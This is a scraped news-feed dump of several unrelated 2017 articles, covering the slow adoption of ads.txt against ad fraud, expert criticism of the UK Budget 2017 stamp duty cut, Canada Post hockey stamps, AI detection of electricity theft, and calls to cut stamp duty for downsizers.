  • The adoption of ads.txt, a digital ad initiative via which publishers make it clear which third party companies can and can’t sell their ad space, has been sluggish. 
  • According to a study by ad intelligence platform MediaRadar only 20% of 3,000 publishers it surveyed had adopted it.
  • This is considerably smaller than the number put out by Google in November, according to which 750 of the top 2,000 comScore publishers have ads.txt files.

Ads.txt has been billed a high profile, potentially high impact effort to clean up digital advertising. But it’s been moving in slow motion.

Large brands, publishers, ad agencies, ad tech middlemen, industry trade groups and even Google have rallied behind the initiative.

Indeed, the promise of ads.txt is to make it clear which third parties are authorized to sell publishers’ ad space, and which aren’t. Ideally, if widely adopted, ads.text should prevent big web publishers like say the New York Times from getting ripped off by scam artists falsely claiming to represent their ad inventory.

But over six months in, uptake of the industry-backed effort has been noticeably sluggish among publishers.

According to a study by ad intelligence platform MediaRadar on ads.txt, publisher adoption of the tactic— where they essentially list their authorized inventory on their web servers — has lagged.

MediaRadar used its proprietary ad-tracking intelligence software to audit 3,000 publisher sites, and found that only 20% of these publishers had adopted it. This is a smaller number than the number put out by Google in November, according to which 750 of the top 2,000 comScore publishers have ads.txt files. Google declined to comment.

“We have seen relatively modest adoption,” said Todd Krizelman, CEO of MediaRadar. “The largest sites are moving quickly, but only 20% of all publisher sites we track today have taken advantage of ads.text. It’s a reminder of the power of inertia, and the importance to really evangelize the benefits of this new way to stop spend on unauthorized counterfeit ad inventory.”

Launched by the Interactive Advertising Bureau Tech Lab in May, ads.txt is an effort aimed at wiping out fraud that’s dubbed ‘spoofing’ by the industry, where unauthorized sellers trick ad buyers into paying for space they are not actually getting. You think you’re buying ads on CNN.com, but you’re really buying ads on a no-name website, for instance.

To combat unauthorized sellers from peddling counterfeit inventory, web publishers simply put a text file on their web servers that lists their authorized inventory sellers.

Prominent publishers that have adopted ads.txt include The New York Times, The Washington Post, ESPN, Forbes, Bloomberg and The Wall Street Journal, among others (Business Insider uses ads.txt too). But a quick scan of some domains by Business Insider revealed that some recognizable publishers, including Oath properties like AOL.com, MSN.com, Yahoo.com as well as Slate don’t seem to have implemented it.

“We’ve been doing our due diligence on the back end and are actively working to implement ads.txt across Oath’s properties,” an Oath spokeswoman told Business Insider. “Working closely with publishers and approved resellers, we will begin enforcing ads.txt across our platforms and filtering inventory on domains where our DSPs buy.”

Ad fraud has been a pervasive issue in the digital advertising industry for years, and there are multiple ways with which fraudsters make it happen. Hackers often sell ads on fake websites using computer programs called “bots” that mimic human behavior — and make it look as though real people are visiting websites or clicking on ads. There’s also the aforementioned spoofing, where entities claim to have the rights to sell publishers’ ads when they don’t.

A large industry-wide push for better transparency in digital-ad buying has taken shape this year, following a string of recent instances of ads ending up in dicey corners of the internet. And ads.txt has perhaps been at the forefront of that, with big marketers like Procter & Gamble, players like Google and big ad firms like Digtas putting their weight behind it.

While ads.txt will ultimately help raise publisher ad inventory that has been devalued by counterfeit inventory in the market, some publishers have still been hesitant to take the leap, said Marc Goldberg, CEO at Trust Metrics, a company that monitors digital transparency, quality and fraud.

“There’s still confusion, but publishers need to do this because of the risks they face, and are still losing money,” he said.

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]]> https://briefnews.eu/the-google-backed-ads-txt-push-to-stamp-out-ad-fraud-is-moving-much-slower-than-anticipated/feed/ 0 Tepilo owner Sarah Beeny SLAMS Hammond's Budget 2017 stamp duty reform as 'PR stunt' https://briefnews.eu/tepilo-owner-sarah-beeny-slams-hammonds-budget-2017-stamp-duty-reform-as-pr-stunt/ https://briefnews.eu/tepilo-owner-sarah-beeny-slams-hammonds-budget-2017-stamp-duty-reform-as-pr-stunt/#respond Wed, 22 Nov 2017 15:50:54 +0000 http://briefnews.eu/tepilo-owner-sarah-beeny-slams-hammonds-budget-2017-stamp-duty-reform-as-pr-stunt/

Philip Hammond announced the stamp duty reserve tax (SDRT) has been scrapped on all homes valued up to £300,000 for first time buyers in the Budget 2017 today. 

But experts in the field are less than impressed with the move – with many dubbing it a hollow promise. 

TV star and owner of estate agent Tepilo Sarah Beeny doesn’t believe Hammond’s proposals will make much difference to the property market in the UK – or house prices. 

She told Express.co.uk: “I’m glad the Chancellor made housing a key focus in his budget today, but in my opinion, most of what I’ve heard won’t make a huge difference.”

Martin Lewis spoke on LBC as the Budget was being announced, and the TV star questioned whether or not people would benefit from the stamp duty exemption if they were buying with someone who had already owned a property. This still hasn’t been clarified. 

Stamp duty holiday

Talking about today’s stamp duty announcement, Sarah said: “Cutting stamp duty for first time buyers is unlikely to do much – the majority of first time buyers don’t pay anything or only a small amount presently, so it won’t make a huge difference to the masses. 

“The only people it will really help are first time buyers purchasing high worth properties, who already have the funds to do so. Essentially, it strikes me as a bit of a PR stunt designed to generate headlines, but something that will actually make very little difference to the market. 

“A reduction in stamp duty for second steppers and downsizers would make a much bigger difference, allowing people to move up and down the market more freely and cost effectively – and freeing up first-time buyer and family homes for the right people.” 

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Budget 2017: What it means for you and Britain

Wed, November 22, 2017

Britain’s Chancellor of the Exchequer Philip Hammond has delivered his budget for 2017

Chancellor Leaves Downing Street For Budget Speech

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Find out what the budget 2017 means for you

We hear these promises every year and in reality, little is done

Sarah Beeny, Tepilo

Building more homes

Sarah said: “The Government’s pledge to build more new homes is a welcome move, but we hear these promises every year and in reality, little is done.

“And although the number of homes built last year is at its highest level since the crash, the number of houses being built is still below pre-financial crisis levels. This must change. 

“Making use of urban land around high transport hubs to build new homes is a welcome move, but I’d like to see the Chancellor making a commitment to creating set numbers of affordable homes every year.

“The Government should commit to only selling off public land for the development of affordable housing, with a special price cap on all those properties to keep them affordable.

“What currently often happens is that only a small percentage of a supposed affordable housing development is allocated as ‘affordable’, and then they don’t stay affordable for long due to rising house prices – so only the first owners benefit. To stop this, the Government should cap the prices of affordable houses in line with the salaries of the local area.

“This would stop tokenism and ensure that affordable housing remains affordable.” 

Stamp duty: Sarah Beeny GETTY

Stamp duty: Sarah Beeny has called Hammond’s reform as a PR stunt

Founder and CEO of eMoov.co.uk, Russell Quirk, said he believed today’s pledge was a “story” he’d heard before and was one that hadn’t been fulfilled. 

He explained: ”Today’s budget has amounted to little more than the annual dose of rhetoric and empty announcements of bold plans, extolling a robust intent to build more housing.

“The Treasury’s ‘pledge’ to build more homes is a story we’ve been told many times before, but these well-worn, heady platitudes have not been fulfilled since way, way back in 1969 when the Beatles were topping the charts.

“The likelihood of hitting the ambitious target of 1 million homes by 2050 is slim, to say the least, and one that is unlikely to be hit.

“The ‘urgent’ review of the gap in planning permission and the actual building of houses is also far too little too late and should have been implemented many budgets ago.  

“The Government must actually execute on a housing plan if the current housing crisis is to be remedied and not just grab headlines with their unqualified so-called intentions. This problem is not just about money. It’s about action and it’s about listening to experts within the industry for once.”

Stamp duty: Sarah Beeny GETTY

Stamp duty: Houses up to £300,000 will have the stamp duty scrapped for first time buyers

Great Britain’s Buy-to-Let hotspots

Tue, November 14, 2017

Buy-to-Let property: Totally Money reveals the top 10 yielding postcodes in Great Britain.

Great Britain's Buy-to-Let hotspots

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Great Britain’s Buy-to-Let hotspots

“A cut in stamp duty for first-time buyers is the only real sign of good intent by Chancellor Hammond and one that may help reignite the property market momentarily, but some may say acts as yet another diversion from the elephant in the room of a continued failure to build a meaningful number of affordable homes. Indeed a cynical electoral bribe.”

Benson Hersch, CEO of the Association of Short Term Lenders (ASTL), echoed these sentiments. 

He said: “The Chancellor’s announcement that the Government will facilitate the building of 300,000 new homes a year, is welcome but ultimately we have heard promise after promise from successive Governments on house building, to little effect. 

“Without a significant increase in social housing this is a pipe dream, especially as current figures include permitted development (offices to flats for example) rather than ‘ground up’ building.

“For many, a house to call their own remains out of reach as the deposits required are still too high. Recent analysis undertaken by the ASTL of our membership shows that bridging loans are increasingly popular forms of finance for people looking to purchase their own homes. 

“Such a trend demonstrates how alternative forms of finance are increasingly providing the solutions where Government should be and could be bridging the gap.”

Jean-Marc Vandevivere, previously head of residential at British Land and now chief executive at start-up housing developer PLATFORM_, said exempting first-time buyers will do little to support housing delivery and only help the well-off.

He added: “A stamp duty cut for first time buyers is understandable politically and the reality is it’s unlikely to hit the Treasury’s coffers too hard.

“But the fact is, while maybe stimulating the lower end of the for sale market, it won’t encourage the building of new housing and will only really benefit those wealthy enough to be able to save for a deposit. Instead the Chancellor should have reversed the stamp duty surcharge for institutional investors.

“It would have made less headlines, but would have built more homes.”

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]]> https://briefnews.eu/tepilo-owner-sarah-beeny-slams-hammonds-budget-2017-stamp-duty-reform-as-pr-stunt/feed/ 0 Turn Your $20s Into Tubmans With This DIY 3-D Printed Stamp https://briefnews.eu/turn-your-20s-into-tubmans-with-this-diy-3-d-printed-stamp/ https://briefnews.eu/turn-your-20s-into-tubmans-with-this-diy-3-d-printed-stamp/#respond Fri, 13 Oct 2017 04:12:48 +0000 http://briefnews.eu/turn-your-20s-into-tubmans-with-this-diy-3-d-printed-stamp/ Limor Fried and Phillip Torrone have published a tutorial that lets you change the faces on your money.


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]]> https://briefnews.eu/turn-your-20s-into-tubmans-with-this-diy-3-d-printed-stamp/feed/ 0 Howe, Gretzky, Orr, 3 others get Canada's stamp of approval https://briefnews.eu/howe-gretzky-orr-3-others-get-canadas-stamp-of-approval/ https://briefnews.eu/howe-gretzky-orr-3-others-get-canadas-stamp-of-approval/#respond Thu, 28 Sep 2017 01:22:07 +0000 http://briefnews.eu/howe-gretzky-orr-3-others-get-canadas-stamp-of-approval/ Canada Post is honouring some of hockey’s greatest players with its latest NHL collection of postage stamps.

The 2017 Canadian Hockey Legends issue includes Maurice (Rocket) Richard, Jean Beliveau, Gordie Howe, Bobby Orr, Mario Lemieux, and Wayne Gretzky.

HKN Hockey Legends Stamps 20170927

Mario Lemieux stamp. (Canada Post/Canadian Press)

“The players we immortalized on this year’s stamps redefined hockey over careers that spanned more than 60 years,” Canada Post president and CEO Deepak Chopra said Wednesday in a release. “They inspired us — and each other — with feats that boggle the mind. They are the ultimate six. We hope that by issuing these stamps during the NHL’s centennial, we have helped make this milestone year for the NHL even more special.”

As a group, the players scored more than 9,500 points in almost 7,000 regular-season games, won 40 Stanley Cup championships — 30 as players and another 10 as management — and more than 80 individual awards.

HKN Hockey Legends Stamps 20170927

Bobby Orr stamp. (Canada Post/Canadian Press)

Each stamp features an image of the player in uniform with the Stanley Cup image in the background. The release is the final instalment of Canada Post’s five-year series of hockey stamps.

Team jersey stamps were released in 2013, Original Six defencemen stamps came out in 2014, Great Canadian Goalie stamps were released in 2015, followed by an issue of Great Canadian Forwards last year.

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]]> https://briefnews.eu/howe-gretzky-orr-3-others-get-canadas-stamp-of-approval/feed/ 0 Companies will use AI to stamp out electricity theft https://briefnews.eu/companies-will-use-ai-to-stamp-out-electricity-theft/ https://briefnews.eu/companies-will-use-ai-to-stamp-out-electricity-theft/#respond Mon, 25 Sep 2017 12:27:43 +0000 http://briefnews.eu/companies-will-use-ai-to-stamp-out-electricity-theft/

Switching to efficient artificial intelligence systems has already saved Google a ton of money on its energy bills. And, it seems machine learning may also pose monetary benefits (of a different kind) for electricity providers. With power theft costing the industry roughly $ 96 billion in losses per year, companies could start looking to AI to help identify pilferers.

A team from the University of Luxembourg has developed an algorithm that sifts through electricity meter data to detect abnormal usage. They put the system to work on info compiled from 3.6 million Brazilian households over the course of five years. Specifically, they honed in on around 200 million monthly readings made by professional meter readers. The algorithm managed to reveal problem cases more than 65 percent of the time, which the team believes is far better than other tools. Smart energy firm Choice Technologies now intends to incorporate the AI into commercial software to be used in Latin America, reports New Scientist.

Brazil is suffering from high rates of non-technical losses (which accounts for energy theft, fraud, billing errors, and other instances of lost revenue). To wrest control of the issue, the country’s leading power utility company Electrobras recently launched an anti-theft program, with backing from the World Bank. The firm claims that 22 percent of all Brazilian energy generated is siphoned off by thieves. But, Brazil isn’t alone — countries like the UK estimate that similar activity results in losses of £440 million ($ 596 million) each year. Meanwhile, India’s most populous state of Uttar Pradesh lost around 31 percent of its total power generated in 2016.

Source: Cornell University Library

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]]> https://briefnews.eu/companies-will-use-ai-to-stamp-out-electricity-theft/feed/ 0 ‘Cut stamp duty’ Call to free up downsizers and build more houses https://briefnews.eu/cut-stamp-duty-call-to-free-up-downsizers-and-build-more-houses/ https://briefnews.eu/cut-stamp-duty-call-to-free-up-downsizers-and-build-more-houses/#respond Sat, 16 Sep 2017 23:20:09 +0000 http://briefnews.eu/cut-stamp-duty-call-to-free-up-downsizers-and-build-more-houses/

Baroness Ros Altmann said the tax was putting older people off moving to smaller properties because it was too expensive. 

She said: “Stamp duty is a massive deterrent. 

“There’s a lot of talk about building homes for first-time buyers but what about last-time buyers? 

“Ultimately we need to be building more homes for our growing ageing population. 

“Smarter homes for this generation will relieve the pressure on social housing.” 

The Tory peer is a former head of Saga, which has been lobbying the Government for years to impose a stamp duty exemption on downsizing into properties worth up to £250,000. 

Estate agents have been calling for the Government to scrap stamp duty for buyers altogether and just levy it at sellers. 

Tory MPs are understood to have lobbied the Treasury to include some stamp duty measures in the autumn Budget, believing it to be responsible for slowing house price growth. 

Research by retirement housebuilders McCarthy & Stone reveals that 38 per cent of homeowners aged over 65 would consider downsizing, with an additional 10 per cent encouraged to move with a stamp duty exemption.

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